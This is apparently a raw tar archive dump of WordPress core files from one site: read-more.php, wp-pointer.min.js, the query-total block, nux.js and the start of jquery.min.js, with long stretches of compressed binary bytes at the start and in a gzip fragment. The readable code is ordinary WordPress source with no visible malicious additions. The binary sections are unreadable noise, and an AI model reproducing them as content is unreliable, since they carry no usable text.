]v��'������H %9��88���V#�Jo�����p�A�� ��޽��x�bo��<���ug �|��=�M�1�q��\���g��|A����먚T��ƣ�ǣ;�� �$�;0�˦�C=����xӻ���	����A�pC��=ğ��˦�u���j������cj�6,�lY�\�4�o7Ί��i�4J��f�����0���Xs�y_b�hF`�^��oz���B�����Ҳoi� d9�1�>w����2��{���R�NmA}z��a)�}�Bai%�U�k��y!g�SM�mуpу@Q
9|f��xYv�~����J���I��߰[�P�G�;}�����<���%���X.Dq�?M�q�[��n'����`��qtZ8<	C�Z��~���M��$?=�?Đ�`F���h���
Ob�4sl�{s��*]/�f@�]Ģ
y|��
����'m��/%U�P�{sS��R�K�L����F�SW%�KK��ܮ����h�z\��_��v�örs M� H��t�^���lx��_?�?b����9��{�&e�{yR�����s4:�Ox���azJ|@w"��~�A�N�H=�@�;�2;��Ķ�T��#��C"����r[O�d��Lc[�;v��}�S�����44���
%�~O:��0{��2
�u�~��t@���G{<�i4����H%�����p�O��d�9��:ʳ�b�o��B��	@K�>8�)���_���%�w�D1LǢ�"�N�M�=��U�)�q�C<z�ǹO:����^$�����o��G!H�$�NƯ�,b���	��I@#1Rj["�����V;@H�?p�`t� P=A���P��%�u�^�>/@J$��KO�CgJ���t4\@%M�FǨ�c��(�d�Q�7_�íN�R4x�r
���N
l5�u�8��RdV.~��n�w+�����i*d^C���d�Aw/y�ޠ��:��;b��V�^��C�>U5���01.Y�6�'�^��a�*m��:�I�bU��=�|r<g��W�?��2基���]�
�Y_+�}*�M��S�	0�N�U�_��"�c���47�Y�:�_��U��Bh;�٤=����@^�������l"GQ�!�v���z�DE��fc�9����WC3Y�Gfb�o���8�fCt��+dIʑ���FW��+Y4�+T�hEu�U@�/�=�]����9��<��ט;{�fN�X[��b���){��	S�G6F7�(��sؘc�ũv��8eϤ'�ݍym�t��ǩ�G�8%�яS�ѽNmp����.n�F��5���܋•�ݍ�}ӞE2դH�:�V_
#r,^���-�k�_h
��<���.��ߣ��c�����;�
��i��s��u�����˄"pŇ�bn�{J,��u��t$�'ӺQ�q�·���,�+Z`D+aak��t���HlZ��b?�I���\m(]�*i��� %��Ș{AP�ݖS�v�0�赼@���I�����ayX��&xi�Z��}�R��8�F4��@�ˁ��v�����;��a���A��U@��o}�ǩq��^1o�G��ƨ�����+��Ց(=
D���/�Hý�t�T&�ILa��n�f<0�}�{����k�ևwj�0E��%J���ŞkL�wjʀHi�DrpjphDZZ��vB7qS��6ĕ������ �-���@'ڲo]������v/l��p�{\Z��Tvҩ���~��Jܯ�F�x��d5G#;�#�/��L���BZ��`ձ!U�Ud��?�pvsc��U�:`����N��V��0Y�>LD��>��+�N,���x�n����Oy1��*5DgC����M�@��6p6>-��VH�m` ��G)V���*?��K�:�В �'��(;7���~���|+�%C~�K=g��#�Y?�1��7�r���_�~߰J�U�J�f���8e�>�}?]��1R���D�y5�c>4��
Y�2�^Uo��Ux����S�`��bQY
��L�)luI�i�ß@Pb�@���no��'�<ƃ^g%�/I�u�d�6P�����%�HuV(g�̚NBf��­�s�ѭ�*���r�<֏}�QͰ����%#-�[��K�}�KDIA�CV��1���;H�6H��H�ne �
�nhݕ23�R���b�*��a`����T�G�>�XV�W����E6j!;���e]�~����G1�K��ALr]�ޡm@o�Ñs���y)��܌��Gޝ�y��M*4o�
�HQ���m��Wb��E�����򑩼�)I��a��S�ji��FkNQ�xeA���G�ٖ�
؄L1*�o��iL��c"����Z�W�t)�|c�@�{�p�����e��V�p���;�*�A���A �N�#��/�s��V����t����5o[�T:����1v�6��.R뗀0�=��{A�xѢ�ѺP��a�Ժ8ѷv�����$��'}�p�jb������~1��sC& �_�Q�$n�}c�a�X���z��0�;����3!��k���G͈%��z���t��J߻���0jH�	Y���X�-mo�W�WR�
��D_�Y#����(��ؐ�:�!C�hW�ޭ�6��A�$�&�Œ�F�`���ΛSm�kk��<�й���log0��(ǂ���@NZ���
�;�Fι�!�ř��8��K�X��s�	���k]�)y6nu)kC�(N�'�	p��]\|���;1���{ر�չ3
�N��s������Í����۹oC��.�G�7�dk���"0���f��-�O�a���'��.�Ҍyd���(ej��Ho�F�_��BW��p�.0��i6 ���y>o����|����hI��҄_���aF��=�H6�Vj�1��S��`�v��dToS�'���:V�tiJ�(5�{ޜ`^pԄ�3� �4U��[�Ӈp�ͳ+d�F�e�=N����!�Gވ蒦h��#=�.��0���#6�(�<I�(֫�Vu9>�@rL�t9��g�I;}A	' ��iCwq��Mßð��桑Ѕٰ�4��s�W�0�7�m��f(�A��p��ip��r��M.�B��y�l�����O�th�K�P���|�2f��@��܌�p�Όֵ���P��l��F���'k)�������s�z�D�]��ϓ�R�|��or�H�#Ho�^Bѹ������_�R�688�y$�[�8m�A��� G!��%���ϗ�#�=���Zi<`���'�O�\��eN;N���.@�����<�� ���W��=x�Y� 2+?��j�q�d,���>9)�_}\P��/��"?
��8�4��?~�M�M1�a�T+�� ���ـ͖�M�'���Lr)�kK��(��>�lo/���c�2�:�S5��� ���؈�<B�B~����(;Ǹ	�*Cz�x���t�zD���IQ�QY��'�.݇�?��9���@�Yjޯ/��i��k����}�x�-��2���'n=���sqQ/L���utUL&*pL�EӢ,�˩*�����eTpÜU��n�.�,��"*Ч&�&��3�ɅHuԑ�B�v�*�Vz>����|��S���ݫ&�Wk
-`!�X|1�Fm�{�yͯ�7���:�:�W�|�]��Q�=<�5w�ʂ�I7�u�¢�O���
���񢬻Q�*"Q�3�h�Q�����htOc�4�/�1���Юx�q�6��k\P�2���^���'���G5\�q>�3���Q�t����4����V�1�ף����M?�o�ܽ)�aE���A:}����Q�S����,V�Q�\s^�����.+����"FT�F�
�:�k�E�;zm�wO��=�z�m��mL�����PZ�CZL��1�n���/��s��0�]��/�LVy^�k�A;��6%����jb�*�	5ԠUM��{�|~>���+"ߏu�9�"\��PD��d�x���<�P�i6-��QT-���T���3���=}��=K/�]�>n LT7�u����ۭ+�KJ���[���Z8��N#S74�
6F�-���l�
Mp9Ů���7r���vx$���>�f���<Ui;���%L�j��أ��e�^Yřmr�p����(��O�
pp~�w����Hmwvj	J�m�m�.��y]�ɛ��8�9�� ��O܎f�u���s}�G��<G��c��p3��m�����<�݁;�d�Z1�&Uh��X��`���I���#4�ҏ�H$L�Ue�W�����(4
�x�.��k�ғ
��x��r$/ΑY�>��`���9��}�
�p�#8Q#4��GN�AGbU��m����W"����ߍ���kھ,���Ժ.�ݘ����0�l�SuTh�;���oT�3|����i�� ��������W�z�8RNC;@�?t��*�������	�|\�D�q��̬�$�gbYJV'��q�����WR���2QE,�'���ֶJ���y�A�HȬ�{�P�F&��Ȓ�{��<����y1�I,�u�k��e�����b����.1̯ȀeE+MYVx�	�:
�=F����Otxу�AA�*�٢���_D*H��r�S���(h��8����Q���ֺ�mj�K#�QAQ��
/��t��ҋ���%��	/L��|@^���鄮^D�϶i�6��&y�@��V��|9;qd�Ө�ίMI���s�$,'�#sy��,����LY_tm�,���C��Ŝ���ޅv��Y�J�	�n,lm�n��"_�Ug�p`^ [>A��e>_�Sq�|�@O��ؑ��N�2#���+�C+kpC<�`,b��k!y~�i5:t��QMS0�T+�����%0k5{+ֲ*0V��{k�G	�y>��+�A�0Ԃ��#ߗTo-��S�/�exZ`
��w���^��O �$I��럹�V�Q�4u�%�a�4z+r�e��zs�L�"��;��ʬ0��ʷ
,�E.�	W�k�"�2g���9�a��O1?Жh�8OF~S���4]5_���ge�`�@��݌sGJ_���j��Eѕ>~P^�-#�X۞0�E�@���=�k���T·��#�#�ޢ�9F��U<��?���O�~��O�ѣ�
��������c��B[�\X��������9���u�e��~rs�_�b��~E6Ny�X��t<������N��M����z�s�L+2�v�ôNÜk���h�`{�"dbt�77�����P�w?p\Ӌ�n�T�8�8�Z2�A���:��jm(�CO��2���b�@1���B�5�dc�@9_3�%��%����G�9�	�����L����q���ʩp.��'F@k�
���h�?v�bǵ�4�a��}�ǔڰ��H�����I:
K)0�'-Y�]wMV�s0*P�u7�Z:��J�!���/aNٰܽ$�F���j�غ�� *Q���a{;;�oo#H/X�;]�^+�B�J%Bl:�i�3r>Ķ7�İQw�N��|w�X����C��.��Ǜ���۲�CC�.���qz�N�ن=�;1E㴯���zX��� +��7	�p���{���\��-��8��k*,;/�a�}n98E�?I�,'Qv��E��I{���ɢP�Q���O���d��ڲ_�P��:Pf�E�5���I����.���i�x�D'�~���ZMC�֛f��ϝJ��5��7�̺ �=�������o��>��>�?�1C��	14338/read-more.php.tar000064400000007000151024420100010361 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/blocks/read-more.php000064400000003446151024244000025214 0ustar00<?php
/**
 * Server-side rendering of the `core/read-more` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/read-more` block on the server.
 *
 * @since 6.0.0
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 * @return string  Returns the post link.
 */
function render_block_core_read_more( $attributes, $content, $block ) {
	if ( ! isset( $block->context['postId'] ) ) {
		return '';
	}

	$post_ID    = $block->context['postId'];
	$post_title = get_the_title( $post_ID );
	if ( '' === $post_title ) {
		$post_title = sprintf(
			/* translators: %s is post ID to describe the link for screen readers. */
			__( 'untitled post %s' ),
			$post_ID
		);
	}
	$screen_reader_text = sprintf(
		/* translators: %s is either the post title or post ID to describe the link for screen readers. */
		__( ': %s' ),
		$post_title
	);
	$justify_class_name = empty( $attributes['justifyContent'] ) ? '' : "is-justified-{$attributes['justifyContent']}";
	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $justify_class_name ) );
	$more_text          = ! empty( $attributes['content'] ) ? wp_kses_post( $attributes['content'] ) : __( 'Read more' );
	return sprintf(
		'<a %1s href="%2s" target="%3s">%4s<span class="screen-reader-text">%5s</span></a>',
		$wrapper_attributes,
		get_the_permalink( $post_ID ),
		esc_attr( $attributes['linkTarget'] ),
		$more_text,
		$screen_reader_text
	);
}

/**
 * Registers the `core/read-more` block on the server.
 *
 * @since 6.0.0
 */
function register_block_core_read_more() {
	register_block_type_from_metadata(
		__DIR__ . '/read-more',
		array(
			'render_callback' => 'render_block_core_read_more',
		)
	);
}
add_action( 'init', 'register_block_core_read_more' );
14338/wp-pointer.min.js.tar000064400000013000151024420100011216 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/wp-pointer.min.js000064400000007045151024227160025222 0ustar00/*! This file is auto-generated */
!function(o){var i=0,e=9999;o.widget("wp.pointer",{options:{pointerClass:"wp-pointer",pointerWidth:320,content:function(){return o(this).text()},buttons:function(t,i){return o('<a class="close" href="#"></a>').text(wp.i18n.__("Dismiss")).on("click.pointer",function(t){t.preventDefault(),i.element.pointer("close")})},position:"top",show:function(t,i){i.pointer.show(),i.opened()},hide:function(t,i){i.pointer.hide(),i.closed()},document:document},_create:function(){var t;this.content=o('<div class="wp-pointer-content"></div>'),this.arrow=o('<div class="wp-pointer-arrow"><div class="wp-pointer-arrow-inner"></div></div>'),t="absolute",this.element.parents().add(this.element).filter(function(){return"fixed"===o(this).css("position")}).length&&(t="fixed"),this.pointer=o("<div />").append(this.content).append(this.arrow).attr("id","wp-pointer-"+i++).addClass(this.options.pointerClass).css({position:t,width:this.options.pointerWidth+"px",display:"none"}).appendTo(this.options.document.body)},_setOption:function(t,i){var e=this.options,n=this.pointer;"document"===t&&i!==e.document?n.detach().appendTo(i.body):"pointerClass"===t&&n.removeClass(e.pointerClass).addClass(i),o.Widget.prototype._setOption.apply(this,arguments),"position"===t?this.reposition():"content"===t&&this.active&&this.update()},destroy:function(){this.pointer.remove(),o.Widget.prototype.destroy.call(this)},widget:function(){return this.pointer},update:function(i){var e=this,t=this.options,n=o.Deferred();if(!t.disabled)return n.done(function(t){e._update(i,t)}),(t="string"==typeof t.content?t.content:t.content.call(this.element[0],n.resolve,i,this._handoff()))&&n.resolve(t),n.promise()},_update:function(t,i){var e=this.options;i&&(this.pointer.stop(),this.content.html(i),(i=e.buttons.call(this.element[0],t,this._handoff()))&&i.wrap('<div class="wp-pointer-buttons" />').parent().appendTo(this.content),this.reposition())},reposition:function(){var t;this.options.disabled||(t=this._processPosition(this.options.position),this.pointer.css({top:0,left:0,zIndex:e++}).show().position(o.extend({of:this.element,collision:"fit none"},t)),this.repoint())},repoint:function(){var t=this.options;t.disabled||(t="string"==typeof t.position?t.position:t.position.edge,this.pointer[0].className=this.pointer[0].className.replace(/wp-pointer-[^\s'"]*/,""),this.pointer.addClass("wp-pointer-"+t))},_processPosition:function(t){var i={top:"bottom",bottom:"top",left:"right",right:"left"},t="string"==typeof t?{edge:t+""}:o.extend({},t);return t.edge&&("top"==t.edge||"bottom"==t.edge?(t.align=t.align||"left",t.at=t.at||t.align+" "+i[t.edge],t.my=t.my||t.align+" "+t.edge):(t.align=t.align||"top",t.at=t.at||i[t.edge]+" "+t.align,t.my=t.my||t.edge+" "+t.align)),t},open:function(t){var i=this,e=this.options;this.active||e.disabled||this.element.is(":hidden")||this.update().done(function(){i._open(t)})},_open:function(t){var i=this,e=this.options;this.active||e.disabled||this.element.is(":hidden")||(this.active=!0,this._trigger("open",t,this._handoff()),this._trigger("show",t,this._handoff({opened:function(){i._trigger("opened",t,i._handoff())}})))},close:function(t){var i;this.active&&!this.options.disabled&&((i=this).active=!1,this._trigger("close",t,this._handoff()),this._trigger("hide",t,this._handoff({closed:function(){i._trigger("closed",t,i._handoff())}})))},sendToTop:function(){this.active&&this.pointer.css("z-index",e++)},toggle:function(t){this.pointer.is(":hidden")?this.open(t):this.close(t)},_handoff:function(t){return o.extend({pointer:this.pointer,element:this.element},t)}})}(jQuery);14338/query-total.zip000064400000004262151024420100010231 0ustar00PK�\d[.�c�,,style-rtl.min.cssnu�[���.wp-block-query-total{box-sizing:border-box}PK�\d[.�c�,,
style.min.cssnu�[���.wp-block-query-total{box-sizing:border-box}PK�\d[jL�Q66
block.jsonnu�[���{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/query-total",
	"title": "Query Total",
	"category": "theme",
	"ancestor": [ "core/query" ],
	"description": "Display the total number of results in a query.",
	"textdomain": "default",
	"attributes": {
		"displayType": {
			"type": "string",
			"default": "total-results"
		}
	},
	"usesContext": [ "queryId", "query" ],
	"supports": {
		"align": [ "wide", "full" ],
		"html": false,
		"spacing": {
			"margin": true,
			"padding": true
		},
		"color": {
			"gradients": true,
			"__experimentalDefaultControls": {
				"background": true,
				"text": true
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"__experimentalBorder": {
			"radius": true,
			"color": true,
			"width": true,
			"style": true,
			"__experimentalDefaultControls": {
				"radius": true,
				"color": true,
				"width": true,
				"style": true
			}
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"style": "wp-block-query-total"
}
PK�\d[��T11
style-rtl.cssnu�[���.wp-block-query-total{
  box-sizing:border-box;
}PK�\d[��T11	style.cssnu�[���.wp-block-query-total{
  box-sizing:border-box;
}PK�\d[.�c�,,style-rtl.min.cssnu�[���PK�\d[.�c�,,
mstyle.min.cssnu�[���PK�\d[jL�Q66
�block.jsonnu�[���PK�\d[��T11
Fstyle-rtl.cssnu�[���PK�\d[��T11	�style.cssnu�[���PK~14338/nux.js.tar000064400000035000151024420100007146 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/dist/nux.js000064400000031757151024363130024116 0ustar00/******/ (() => { // webpackBootstrap
/******/ 	"use strict";
/******/ 	// The require scope
/******/ 	var __webpack_require__ = {};
/******/ 	
/************************************************************************/
/******/ 	/* webpack/runtime/compat get default export */
/******/ 	(() => {
/******/ 		// getDefaultExport function for compatibility with non-harmony modules
/******/ 		__webpack_require__.n = (module) => {
/******/ 			var getter = module && module.__esModule ?
/******/ 				() => (module['default']) :
/******/ 				() => (module);
/******/ 			__webpack_require__.d(getter, { a: getter });
/******/ 			return getter;
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/define property getters */
/******/ 	(() => {
/******/ 		// define getter functions for harmony exports
/******/ 		__webpack_require__.d = (exports, definition) => {
/******/ 			for(var key in definition) {
/******/ 				if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 					Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 				}
/******/ 			}
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/hasOwnProperty shorthand */
/******/ 	(() => {
/******/ 		__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/make namespace object */
/******/ 	(() => {
/******/ 		// define __esModule on exports
/******/ 		__webpack_require__.r = (exports) => {
/******/ 			if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ 				Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ 			}
/******/ 			Object.defineProperty(exports, '__esModule', { value: true });
/******/ 		};
/******/ 	})();
/******/ 	
/************************************************************************/
var __webpack_exports__ = {};
// ESM COMPAT FLAG
__webpack_require__.r(__webpack_exports__);

// EXPORTS
__webpack_require__.d(__webpack_exports__, {
  DotTip: () => (/* reexport */ dot_tip),
  store: () => (/* reexport */ store)
});

// NAMESPACE OBJECT: ./node_modules/@wordpress/nux/build-module/store/actions.js
var actions_namespaceObject = {};
__webpack_require__.r(actions_namespaceObject);
__webpack_require__.d(actions_namespaceObject, {
  disableTips: () => (disableTips),
  dismissTip: () => (dismissTip),
  enableTips: () => (enableTips),
  triggerGuide: () => (triggerGuide)
});

// NAMESPACE OBJECT: ./node_modules/@wordpress/nux/build-module/store/selectors.js
var selectors_namespaceObject = {};
__webpack_require__.r(selectors_namespaceObject);
__webpack_require__.d(selectors_namespaceObject, {
  areTipsEnabled: () => (selectors_areTipsEnabled),
  getAssociatedGuide: () => (getAssociatedGuide),
  isTipVisible: () => (isTipVisible)
});

;// external ["wp","deprecated"]
const external_wp_deprecated_namespaceObject = window["wp"]["deprecated"];
var external_wp_deprecated_default = /*#__PURE__*/__webpack_require__.n(external_wp_deprecated_namespaceObject);
;// external ["wp","data"]
const external_wp_data_namespaceObject = window["wp"]["data"];
;// ./node_modules/@wordpress/nux/build-module/store/reducer.js
/**
 * WordPress dependencies
 */


/**
 * Reducer that tracks which tips are in a guide. Each guide is represented by
 * an array which contains the tip identifiers contained within that guide.
 *
 * @param {Array}  state  Current state.
 * @param {Object} action Dispatched action.
 *
 * @return {Array} Updated state.
 */
function guides(state = [], action) {
  switch (action.type) {
    case 'TRIGGER_GUIDE':
      return [...state, action.tipIds];
  }
  return state;
}

/**
 * Reducer that tracks whether or not tips are globally enabled.
 *
 * @param {boolean} state  Current state.
 * @param {Object}  action Dispatched action.
 *
 * @return {boolean} Updated state.
 */
function areTipsEnabled(state = true, action) {
  switch (action.type) {
    case 'DISABLE_TIPS':
      return false;
    case 'ENABLE_TIPS':
      return true;
  }
  return state;
}

/**
 * Reducer that tracks which tips have been dismissed. If the state object
 * contains a tip identifier, then that tip is dismissed.
 *
 * @param {Object} state  Current state.
 * @param {Object} action Dispatched action.
 *
 * @return {Object} Updated state.
 */
function dismissedTips(state = {}, action) {
  switch (action.type) {
    case 'DISMISS_TIP':
      return {
        ...state,
        [action.id]: true
      };
    case 'ENABLE_TIPS':
      return {};
  }
  return state;
}
const preferences = (0,external_wp_data_namespaceObject.combineReducers)({
  areTipsEnabled,
  dismissedTips
});
/* harmony default export */ const reducer = ((0,external_wp_data_namespaceObject.combineReducers)({
  guides,
  preferences
}));

;// ./node_modules/@wordpress/nux/build-module/store/actions.js
/**
 * Returns an action object that, when dispatched, presents a guide that takes
 * the user through a series of tips step by step.
 *
 * @param {string[]} tipIds Which tips to show in the guide.
 *
 * @return {Object} Action object.
 */
function triggerGuide(tipIds) {
  return {
    type: 'TRIGGER_GUIDE',
    tipIds
  };
}

/**
 * Returns an action object that, when dispatched, dismisses the given tip. A
 * dismissed tip will not show again.
 *
 * @param {string} id The tip to dismiss.
 *
 * @return {Object} Action object.
 */
function dismissTip(id) {
  return {
    type: 'DISMISS_TIP',
    id
  };
}

/**
 * Returns an action object that, when dispatched, prevents all tips from
 * showing again.
 *
 * @return {Object} Action object.
 */
function disableTips() {
  return {
    type: 'DISABLE_TIPS'
  };
}

/**
 * Returns an action object that, when dispatched, makes all tips show again.
 *
 * @return {Object} Action object.
 */
function enableTips() {
  return {
    type: 'ENABLE_TIPS'
  };
}

;// ./node_modules/@wordpress/nux/build-module/store/selectors.js
/**
 * WordPress dependencies
 */


/**
 * An object containing information about a guide.
 *
 * @typedef {Object} NUXGuideInfo
 * @property {string[]} tipIds       Which tips the guide contains.
 * @property {?string}  currentTipId The guide's currently showing tip.
 * @property {?string}  nextTipId    The guide's next tip to show.
 */

/**
 * Returns an object describing the guide, if any, that the given tip is a part
 * of.
 *
 * @param {Object} state Global application state.
 * @param {string} tipId The tip to query.
 *
 * @return {?NUXGuideInfo} Information about the associated guide.
 */
const getAssociatedGuide = (0,external_wp_data_namespaceObject.createSelector)((state, tipId) => {
  for (const tipIds of state.guides) {
    if (tipIds.includes(tipId)) {
      const nonDismissedTips = tipIds.filter(tId => !Object.keys(state.preferences.dismissedTips).includes(tId));
      const [currentTipId = null, nextTipId = null] = nonDismissedTips;
      return {
        tipIds,
        currentTipId,
        nextTipId
      };
    }
  }
  return null;
}, state => [state.guides, state.preferences.dismissedTips]);

/**
 * Determines whether or not the given tip is showing. Tips are hidden if they
 * are disabled, have been dismissed, or are not the current tip in any
 * guide that they have been added to.
 *
 * @param {Object} state Global application state.
 * @param {string} tipId The tip to query.
 *
 * @return {boolean} Whether or not the given tip is showing.
 */
function isTipVisible(state, tipId) {
  if (!state.preferences.areTipsEnabled) {
    return false;
  }
  if (state.preferences.dismissedTips?.hasOwnProperty(tipId)) {
    return false;
  }
  const associatedGuide = getAssociatedGuide(state, tipId);
  if (associatedGuide && associatedGuide.currentTipId !== tipId) {
    return false;
  }
  return true;
}

/**
 * Returns whether or not tips are globally enabled.
 *
 * @param {Object} state Global application state.
 *
 * @return {boolean} Whether tips are globally enabled.
 */
function selectors_areTipsEnabled(state) {
  return state.preferences.areTipsEnabled;
}

;// ./node_modules/@wordpress/nux/build-module/store/index.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */



const STORE_NAME = 'core/nux';

/**
 * Store definition for the nux namespace.
 *
 * @see https://github.com/WordPress/gutenberg/blob/HEAD/packages/data/README.md#createReduxStore
 *
 * @type {Object}
 */
const store = (0,external_wp_data_namespaceObject.createReduxStore)(STORE_NAME, {
  reducer: reducer,
  actions: actions_namespaceObject,
  selectors: selectors_namespaceObject,
  persist: ['preferences']
});

// Once we build a more generic persistence plugin that works across types of stores
// we'd be able to replace this with a register call.
(0,external_wp_data_namespaceObject.registerStore)(STORE_NAME, {
  reducer: reducer,
  actions: actions_namespaceObject,
  selectors: selectors_namespaceObject,
  persist: ['preferences']
});

;// external ["wp","compose"]
const external_wp_compose_namespaceObject = window["wp"]["compose"];
;// external ["wp","components"]
const external_wp_components_namespaceObject = window["wp"]["components"];
;// external ["wp","i18n"]
const external_wp_i18n_namespaceObject = window["wp"]["i18n"];
;// external ["wp","element"]
const external_wp_element_namespaceObject = window["wp"]["element"];
;// external ["wp","primitives"]
const external_wp_primitives_namespaceObject = window["wp"]["primitives"];
;// external "ReactJSXRuntime"
const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
;// ./node_modules/@wordpress/icons/build-module/library/close.js
/**
 * WordPress dependencies
 */


const close_close = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "m13.06 12 6.47-6.47-1.06-1.06L12 10.94 5.53 4.47 4.47 5.53 10.94 12l-6.47 6.47 1.06 1.06L12 13.06l6.47 6.47 1.06-1.06L13.06 12Z"
  })
});
/* harmony default export */ const library_close = (close_close);

;// ./node_modules/@wordpress/nux/build-module/components/dot-tip/index.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */


function onClick(event) {
  // Tips are often nested within buttons. We stop propagation so that clicking
  // on a tip doesn't result in the button being clicked.
  event.stopPropagation();
}
function DotTip({
  position = 'middle right',
  children,
  isVisible,
  hasNextTip,
  onDismiss,
  onDisable
}) {
  const anchorParent = (0,external_wp_element_namespaceObject.useRef)(null);
  const onFocusOutsideCallback = (0,external_wp_element_namespaceObject.useCallback)(event => {
    if (!anchorParent.current) {
      return;
    }
    if (anchorParent.current.contains(event.relatedTarget)) {
      return;
    }
    onDisable();
  }, [onDisable, anchorParent]);
  if (!isVisible) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Popover, {
    className: "nux-dot-tip",
    position: position,
    focusOnMount: true,
    role: "dialog",
    "aria-label": (0,external_wp_i18n_namespaceObject.__)('Editor tips'),
    onClick: onClick,
    onFocusOutside: onFocusOutsideCallback,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
      children: children
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        __next40pxDefaultSize: true,
        variant: "link",
        onClick: onDismiss,
        children: hasNextTip ? (0,external_wp_i18n_namespaceObject.__)('See next tip') : (0,external_wp_i18n_namespaceObject.__)('Got it')
      })
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
      size: "small",
      className: "nux-dot-tip__disable",
      icon: library_close,
      label: (0,external_wp_i18n_namespaceObject.__)('Disable tips'),
      onClick: onDisable
    })]
  });
}
/* harmony default export */ const dot_tip = ((0,external_wp_compose_namespaceObject.compose)((0,external_wp_data_namespaceObject.withSelect)((select, {
  tipId
}) => {
  const {
    isTipVisible,
    getAssociatedGuide
  } = select(store);
  const associatedGuide = getAssociatedGuide(tipId);
  return {
    isVisible: isTipVisible(tipId),
    hasNextTip: !!(associatedGuide && associatedGuide.nextTipId)
  };
}), (0,external_wp_data_namespaceObject.withDispatch)((dispatch, {
  tipId
}) => {
  const {
    dismissTip,
    disableTips
  } = dispatch(store);
  return {
    onDismiss() {
      dismissTip(tipId);
    },
    onDisable() {
      disableTips();
    }
  };
}))(DotTip));

;// ./node_modules/@wordpress/nux/build-module/index.js
/**
 * WordPress dependencies
 */



external_wp_deprecated_default()('wp.nux', {
  since: '5.4',
  hint: 'wp.components.Guide can be used to show a user guide.',
  version: '6.2'
});

(window.wp = window.wp || {}).nux = __webpack_exports__;
/******/ })()
;14338/class-wp-block-type-registry.php.php.tar.gz000064400000002672151024420100015373 0ustar00��Xmo�6�W�W\;�S�r�$Ŝ�]�X?
�t�e
#S6��Hʎ���HJ����ҭ�J �u"{�Hj$��%U��O����
(�AD	g|��*	C]"�z�
�؛�ƃ(P�Q����HW=�iG�!SZκ�(��ñ���Q=;���w�6���{;�;�;�/P��bo����#Q�H4�o�
��0Iuok�[���P��ɻ>|:���)�?�)�o�k����)|rp�RV����S�H
{�^���^=��FH�B��B!�qM%	4��L����T73^U���Q���'c�HS�U�q�6��uS�<5T�dT"���6
�M��%4G� ��	��
���%\V0!�l��ܼ��X�	�rnӷ6}k�HIf��A=�FpM�҆J�(��2@ B+��k�[�DQ"*�,�FlfVX8���R!�e�����$��V>3&���DZܖ�����Q�ϮI�G���m���Qr�gB���}� ��/�����ǽ�8DQ�Z���� �b�tж	l9D�q�J,�(�K48�X2�n1(�&U�N��X3���‘���ȓ��ɘr��u�Xc���2�lǮ�V���(�~х_�IoZ�L�UMq /Vi���4$I���c=sQI�$�N$/C�
I��:�`�EEo���(ey㦣0$,J�����0�qa���x�N31�fh�~Sk�>��Z�����S�Z�[_Q`�X�]���Y��ٜ�zf�	2�wE�����@�ϴ?��Y�>>��[�o��Mج���1�N��nB�Mߴ��i~�,�436�eh1�GZ#��u~;�m�%��6UHb$���`D���l]��Íe{��8#��z��;�����
o� OC�ے�Gw8s��}�X�u���is}�:q���W��ĸp�{H:z�T�%�-���Q��-	W�B�><�?�QֵE�C���u؄j,�>SOM�%��d0+T��u�im��mq�r:-s�I�r�p->����n��_IlUf�G.�U��J�>���su9�o����L�f/��__嘞�U�(��/og+��hJ�����h�jd��J�|��y:��\�g��Y�V>�hs\X~r��S�AL/��>�^ȱ�5ɘb�5wŘ���%@�������8��ÑR"`���hs�-tO~��e�kߒ0"�b�\`V�A�7#j.��b�6)�����Rd�L��b.(���䔩��s	�
qbj�Ҷ����)��I�\��%W����fw��WG�E���ڭ�#��1�c��W%���ac����%��SN4&FGf$s�	��uV�dA�U�E/Xx1�h��w���Ӻ�S��m����kZA]ۢ��Q��
Ͽ�V�Ux�~�(q6�H�WA�(��O"ih�bw�3�f��+s-���G�o��6��oKd�C14338/jquery.min.js.tar000064400000257000151024420100010443 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/jquery/jquery.min.js000064400000253001151024253370025751 0ustar00/*! jQuery v3.7.1 | (c) OpenJS Foundation and other contributors | jquery.org/license */
